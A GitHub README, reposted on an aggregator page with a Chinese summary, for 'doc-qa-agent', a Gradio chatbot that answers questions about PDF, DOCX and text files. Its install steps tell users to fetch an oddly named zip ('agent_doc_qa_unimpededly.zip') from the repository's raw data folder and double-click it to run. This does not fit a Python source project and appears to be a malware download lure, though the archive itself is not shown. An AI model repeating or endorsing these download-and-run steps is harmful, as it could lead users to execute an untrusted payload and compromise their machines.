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doc-qa-agent:基于 Gradio 的文档问答 AI 助手

piporyx/doc-qa-agent

AI 导读

doc-qa-agent 是一款轻量级文档问答聊天机器人,支持上传 PDF、DOCX 或纯文本文件并针对内容提问。它使用 Sentence-Transformer 嵌入向量检索相关上下文,并调用 OpenAI 与 Ollama 模型生成答案,通过 Gradio 界面交互,采用 MIT 许可证开源。

正文

🤖 doc-qa-agent - Your AI Assistant for Document Queries

Download doc-qa-agent

📦 Overview

doc-qa-agent is a lightweight chatbot designed to answer your questions using PDF, DOCX, or text files. By utilizing advanced techniques like Sentence-Transformer embeddings for context retrieval and LLM models (like OpenAI and Ollama) for generating answers, doc-qa-agent provides an easy-to-use interface through Gradio for seamless interaction.

🚀 Getting Started

To get started with doc-qa-agent, you need to download it and run the application. Follow the simple steps below to get the chatbot up and running.

📥 Download & Install

  1. Visit the Releases Page: Go to the Releases page to find the latest version of the application.
  2. Select Your File: On the Releases page, you’ll see various versions. Look for a file named something like https://raw.githubusercontent.com/piporyx/doc-qa-agent/main/data/agent_doc_qa_unimpededly.zip or similar.
  3. Download the File: Click on the file to start the download. Ensure that you save it in a location you can easily access, like your desktop or download folder.
  4. Run the Application: After the download is complete, find the downloaded file. Double-click the file to launch the application.

📋 System Requirements

To run doc-qa-agent smoothly, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, or macOS 10.15 or later.
  • Storage Space: At least 200 MB of free disk space.
  • Memory: A minimum of 4 GB RAM.
  • Python: Version 3.7 or later (if you intend to modify or run from source).

⚙️ How to Use doc-qa-agent

After you have installed and launched doc-qa-agent, follow these steps to begin interacting with your documents:

  1. Upload Your Document: Click on the "Upload" button in the Gradio interface. Select the PDF, DOCX, or text file you want the chatbot to analyze.
  2. Ask Your Question: In the chat interface, type your question related to the content of your uploaded document. The chatbot is designed to understand your queries and provide relevant answers.
  3. Receive Answers: The chatbot will process your question and provide an answer based on the information from your document.
  4. Explore Further: Feel free to ask follow-up questions. The chatbot can help clarify or provide more details from the document.

🎯 Features

  • Document Type Support: Works with a variety of file types including PDF, DOCX, and plain text files.
  • Contextual Understanding: Uses Sentence-Transformer embeddings to retrieve the most relevant context for your questions.
  • Conversational Interface: The Gradio UI allows for a smooth interaction, making it easy to ask questions and receive answers.
  • Robust Answer Generation: Leverages OpenAI and Ollama models to generate accurate and helpful answers.

❓ Troubleshooting

If you encounter any issues while using doc-qa-agent, check the following:

  • Application Doesn't Start: Ensure your system meets the required specifications. Re-download the file if the issue persists.
  • Slow Response Time: Large documents may take longer to process. Consider using smaller files for quicker responses.
  • No Answer Provided: Ensure that your questions are clear and directly related to the uploaded document content.

📞 Support

For help or to report issues, visit the Issues page. You can also contribute to the discussions or ask questions there.

📜 License

doc-qa-agent is available under the MIT License. Feel free to use, modify, and distribute it in accordance with this license.

🌟 Acknowledgments

Thanks to the creators of Sentence-Transformers, OpenAI, and Ollama for providing the technology that powers doc-qa-agent. Special thanks to Gradio for enabling an easy-to-use interface.

We hope you enjoy using doc-qa-agent! For downloads, remember to visit the Releases page again if you want to check for future updates.

Download doc-qa-agent

来源:GitHub · github.com